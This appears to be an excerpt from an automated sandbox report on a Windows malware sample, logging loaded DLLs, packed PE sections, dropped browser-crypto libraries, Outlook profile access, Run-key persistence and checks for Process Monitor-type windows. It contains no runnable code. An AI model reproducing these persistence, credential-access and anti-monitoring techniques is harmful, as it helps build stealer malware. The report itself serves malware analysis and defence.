Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1810944 > 1048576

Source: file.exe

Static PE information: Raw size of orugtaro is bigger than: 0x100000 < 0x1a0600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2463590258.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2463590258.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 9ec07c9018.exe, 0000001E.00000002.3041937318.00000000007B2000.00000040.00000001.01000000.00000011.sdmp, 9ec07c9018.exe, 0000001E.00000003.2908568728.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, 9ec07c9018.exe, 00000021.00000003.3067186057.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, 9ec07c9018.exe, 00000021.00000002.3107402927.00000000007B2000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.a00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;orugtaro:EW;zsibqgqp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;orugtaro:EW;zsibqgqp:EW;.taggant:EW;
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Unpacked PE file: 20.2.DocumentsAKKEGHJDHD.exe.5e0000.0.unpack :EW;.rsrc:W;.idata :W;ksryljpw:EW;jsxaufct:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ksryljpw:EW;jsxaufct:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W;ksryljpw:EW;jsxaufct:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ksryljpw:EW;jsxaufct:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W;ksryljpw:EW;jsxaufct:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ksryljpw:EW;jsxaufct:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W;ksryljpw:EW;jsxaufct:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ksryljpw:EW;jsxaufct:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Unpacked PE file: 25.2.5912d4444a.exe.d60000.0.unpack :EW;.rsrc:W;.idata :W;jrkfjxta:EW;lfizkupv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jrkfjxta:EW;lfizkupv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Unpacked PE file: 27.2.b84e35a556.exe.cb0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;orugtaro:EW;zsibqgqp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;orugtaro:EW;zsibqgqp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Unpacked PE file: 30.2.9ec07c9018.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W;nbohhauh:EW;qsvzttvm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Unpacked PE file: 31.2.5912d4444a.exe.d60000.0.unpack :EW;.rsrc:W;.idata :W;jrkfjxta:EW;lfizkupv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jrkfjxta:EW;lfizkupv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Unpacked PE file: 32.2.b84e35a556.exe.cb0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;orugtaro:EW;zsibqgqp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;orugtaro:EW;zsibqgqp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Unpacked PE file: 33.2.9ec07c9018.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W;nbohhauh:EW;qsvzttvm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Unpacked PE file: 34.2.5912d4444a.exe.d60000.0.unpack :EW;.rsrc:W;.idata :W;jrkfjxta:EW;lfizkupv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jrkfjxta:EW;lfizkupv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Unpacked PE file: 35.2.b84e35a556.exe.cb0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;orugtaro:EW;zsibqgqp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;orugtaro:EW;zsibqgqp:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1ca10f should be: 0x1c02cc
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x30f08b should be: 0x3092c9
Source: DocumentsAKKEGHJDHD.exe.0.dr	Static PE information: real checksum: 0x313036 should be: 0x31a622
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x313036 should be: 0x31a622

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: orugtaro
Source: file.exe	Static PE information: section name: zsibqgqp
Source: file.exe	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsAKKEGHJDHD.exe.0.dr	Static PE information: section name:
Source: DocumentsAKKEGHJDHD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsAKKEGHJDHD.exe.0.dr	Static PE information: section name: ksryljpw
Source: DocumentsAKKEGHJDHD.exe.0.dr	Static PE information: section name: jsxaufct
Source: DocumentsAKKEGHJDHD.exe.0.dr	Static PE information: section name: .taggant
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: jrkfjxta
Source: random[1].exe.0.dr	Static PE information: section name: lfizkupv
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name: ksryljpw
Source: skotes.exe.20.dr	Static PE information: section name: jsxaufct
Source: skotes.exe.20.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B536 push ecx; ret	0_2_6C68B549
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_005FD91C push ecx; ret	20_2_005FD92F
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_005F1359 push es; ret	20_2_005F135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00AAD91C push ecx; ret	21_2_00AAD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AAD91C push ecx; ret	22_2_00AAD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AAD91C push ecx; ret	24_2_00AAD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AADFC6 push ecx; ret	24_2_00AADFD9

Source: file.exe	Static PE information: section name: orugtaro entropy: 7.9538996157409265
Source: DocumentsAKKEGHJDHD.exe.0.dr	Static PE information: section name: entropy: 7.038221682554134
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.035514524532119
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 7.038221682554134

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsAKKEGHJDHD.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsAKKEGHJDHD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsAKKEGHJDHD.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5912d4444a.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b84e35a556.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9ec07c9018.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsAKKEGHJDHD.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Window searched: window name: FilemonClass
